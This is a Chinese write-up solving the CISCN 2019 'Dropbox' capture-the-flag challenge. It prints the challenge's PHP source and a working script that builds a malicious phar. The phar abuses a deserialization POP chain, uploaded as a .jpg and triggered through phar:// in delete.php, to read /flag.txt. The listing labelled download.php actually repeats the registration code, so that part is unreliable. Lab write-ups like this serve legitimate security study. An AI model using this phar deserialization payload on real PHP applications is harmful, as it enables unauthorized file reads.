[BUUCTF题解][CISCN2019 华北赛区 Day1 Web1]Dropbox
过程
做题先搜集（扫目录+检查HTTP报文+查看初始页面HTML代码），但是没发现有用信息。
正常登录注册尝试下功能，注意到上传后可以下载，而下载功能的路径未受限，可以把源码给下载下来。
<?php
#class.php源码
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);
class User {
public $db;
public function __construct() {
global $db;
$this->db = $db;
}
public function user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {
return false;
}
return true;
}
public function add_user($username, $password) {
if ($this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
}
public function verify_user($username, $password) {
if (!$this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
return true;
}
return false;
}
public function __destruct() {
$this->db->close();
}
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);
$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);
foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();
}
}
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}
public function __destruct() {
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
$table .= '</tr>';
}
echo $table;
}
}
class File {
public $filename;
public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}
public function name() {
return basename($this->filename);
}
public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
}
public function detele() {
unlink($this->filename);
}
public function close() {
return file_get_contents($this->filename);
}
}
?>
<?php
#index.php源码
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
?>
<!DOCTYPE html>
<html>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<title>网盘管理</title>
<head>
<link href="static/css/bootstrap.min.css" rel="stylesheet">
<link href="static/css/panel.css" rel="stylesheet">
<script src="static/js/jquery.min.js"></script>
<script src="static/js/bootstrap.bundle.min.js"></script>
<script src="static/js/toast.js"></script>
<script src="static/js/panel.js"></script>
</head>
<body>
<nav aria-label="breadcrumb">
<ol class="breadcrumb">
<li class="breadcrumb-item active">管理面板</li>
<li class="breadcrumb-item active"><label for="fileInput" class="fileLabel">上传文件</label></li>
<li class="active ml-auto"><a href="#">你好 <?php echo $_SESSION['username']?></a></li>
</ol>
</nav>
<input type="file" id="fileInput" class="hidden">
<div class="top" id="toast-container"></div>
<?php
include "class.php";
$a = new FileList($_SESSION['sandbox']);
$a->Name();
$a->Size();
?>
<?php
#login.php源码
session_start();
if (isset($_SESSION['login'])) {
header("Location: index.php");
die();
}
?>
<!doctype html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="description" content="">
<title>登录</title>
<!-- Bootstrap core CSS -->
<link href="static/css/bootstrap.min.css" rel="stylesheet">
<style>
.bd-placeholder-img {
font-size: 1.125rem;
text-anchor: middle;
}
@media (min-width: 768px) {
.bd-placeholder-img-lg {
font-size: 3.5rem;
}
}
</style>
<!-- Custom styles for this template -->
<link href="static/css/std.css" rel="stylesheet">
</head>
<body class="text-center">
<form class="form-signin" action="login.php" method="POST">
<h1 class="h3 mb-3 font-weight-normal">登录</h1>
<label for="username" class="sr-only">Username</label>
<input type="text" name="username" class="form-control" placeholder="Username" required autofocus>
<label for="password" class="sr-only">Password</label>
<input type="password" name="password" class="form-control" placeholder="Password" required>
<button class="btn btn-lg btn-primary btn-block" type="submit">提交</button>
<p class="mt-5 text-muted">还没有账号? <a href="register.php">注册</a></p>
<p class="text-muted">© 2018-2019</p>
</form>
<div class="top" id="toast-container"></div>
</body>
<script src="static/js/jquery.min.js"></script>
<script src="static/js/bootstrap.bundle.min.js"></script>
<script src="static/js/toast.js"></script>
</html>
<?php
include "class.php";
if (isset($_GET['register'])) {
echo "<script>toast('注册成功', 'info');</script>";
}
if (isset($_POST["username"]) && isset($_POST["password"])) {
$u = new User();
$username = (string) $_POST["username"];
$password = (string) $_POST["password"];
if (strlen($username) < 20 && $u->verify_user($username, $password)) {
$_SESSION['login'] = true;
$_SESSION['username'] = htmlentities($username);
$sandbox = "uploads/" . sha1($_SESSION['username'] . "sftUahRiTz") . "/";
if (!is_dir($sandbox)) {
mkdir($sandbox);
}
$_SESSION['sandbox'] = $sandbox;
echo("<script>window.location.href='index.php';</script>");
die();
}
echo "<script>toast('账号或密码错误', 'warning');</script>";
}
?>
<?php
#register.php源码
session_start();
if (isset($_SESSION['login'])) {
header("Location: index.php");
die();
}
?>
<!doctype html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="description" content="">
<title>注册</title>
<!-- Bootstrap core CSS -->
<link href="static/css/bootstrap.min.css" rel="stylesheet">
<style>
.bd-placeholder-img {
font-size: 1.125rem;
text-anchor: middle;
}
@media (min-width: 768px) {
.bd-placeholder-img-lg {
font-size: 3.5rem;
}
}
</style>
<!-- Custom styles for this template -->
<link href="static/css/std.css" rel="stylesheet">
</head>
<body class="text-center">
<form class="form-signin" action="register.php" method="POST">
<h1 class="h3 mb-3 font-weight-normal">注册</h1>
<label for="username" class="sr-only">Username</label>
<input type="text" name="username" class="form-control" placeholder="Username" required autofocus>
<label for="password" class="sr-only">Password</label>
<input type="password" name="password" class="form-control" placeholder="Password" required>
<button class="btn btn-lg btn-primary btn-block" type="submit">提交</button>
<p class="mt-5 mb-3 text-muted">© 2018-2019</p>
</form>
</body>
<div class="top" id="toast-container"></div>
<script src="static/js/jquery.min.js"></script>
<script src="static/js/bootstrap.bundle.min.js"></script>
<script src="static/js/toast.js"></script>
</html>
<?php
include "class.php";
if (isset($_POST["username"]) && isset($_POST["password"])) {
$u = new User();
$username = (string) $_POST["username"];
$password = (string) $_POST["password"];
if (strlen($username) < 20 && strlen($username) > 2 && strlen($password) > 1) {
if ($u->add_user($username, $password)) {
echo("<script>window.location.href='login.php?register';</script>");
die();
} else {
echo "<script>toast('此用户名已被使用', 'warning');</script>";
die();
}
}
echo "<script>toast('请输入有效用户名和密码', 'warning');</script>";
}
?>
<?php
#upload.php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
include "class.php";
if (isset($_FILES["file"])) {
$filename = $_FILES["file"]["name"];
$pos = strrpos($filename, ".");
if ($pos !== false) {
$filename = substr($filename, 0, $pos);
}
$fileext = ".gif";
switch ($_FILES["file"]["type"]) {
case 'image/gif':
$fileext = ".gif";
break;
case 'image/jpeg':
$fileext = ".jpg";
break;
case 'image/png':
$fileext = ".png";
break;
default:
$response = array("success" => false, "error" => "Only gif/jpg/png allowed");
Header("Content-type: application/json");
echo json_encode($response);
die();
}
if (strlen($filename) < 40 && strlen($filename) !== 0) {
$dst = $_SESSION['sandbox'] . $filename . $fileext;
move_uploaded_file($_FILES["file"]["tmp_name"], $dst);
$response = array("success" => true, "error" => "");
Header("Content-type: application/json");
echo json_encode($response);
} else {
$response = array("success" => false, "error" => "Invaild filename");
Header("Content-type: application/json");
echo json_encode($response);
}
}
?>
<?php
#download.php
session_start();
if (isset($_SESSION['login'])) {
header("Location: index.php");
die();
}
?>
<?php
include "class.php";
if (isset($_POST["username"]) && isset($_POST["password"])) {
$u = new User();
$username = (string) $_POST["username"];
$password = (string) $_POST["password"];
if (strlen($username) < 20 && strlen($username) > 2 && strlen($password) > 1) {
if ($u->add_user($username, $password)) {
echo("<script>window.location.href='login.php?register';</script>");
die();
} else {
echo "<script>toast('此用户名已被使用', 'warning');</script>";
die();
}
}
echo "<script>toast('请输入有效用户名和密码', 'warning');</script>";
}
?>
<?php
#delete.php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
if (!isset($_POST['filename'])) {
die();
}
include "class.php";
chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
$file->detele();
Header("Content-type: application/json");
$response = array("success" => true, "error" => "");
echo json_encode($response);
} else {
Header("Content-type: application/json");
$response = array("success" => false, "error" => "File not exist");
echo json_encode($response);
}
?>
简单审查下代码可以发现，在class.php中可以发现一条完整的POP链可以用来调用file_get_content函数，对应download.php中对flag关键字的过滤，不难猜出就是对这条POP链的使用来读取flag了。
大概顺序如下：
class User:__destruct() => class FileList:__call => class File:close()
最终构造好的phar源码如下：
<?php
class User {
public $db;
public function __construct() {
$this->db = new FileList();
}
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct() {
$this->files[]=new File();
}
}
class File {
public $filename="/flag.txt";
}
$cls=new User();
$phar =new Phar("awsl.phar");
$phar->startBuffering();
$phar->setStub("XXX<?php XXX __HALT_COMPILER(); ?>");
$a = $cls;
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>
将生成的phar文件重命名为ez.jpg（ez这个名称用惯了），上传然后去delete.php页面改用phar伪协议删除就能成功触发获取到flag了。
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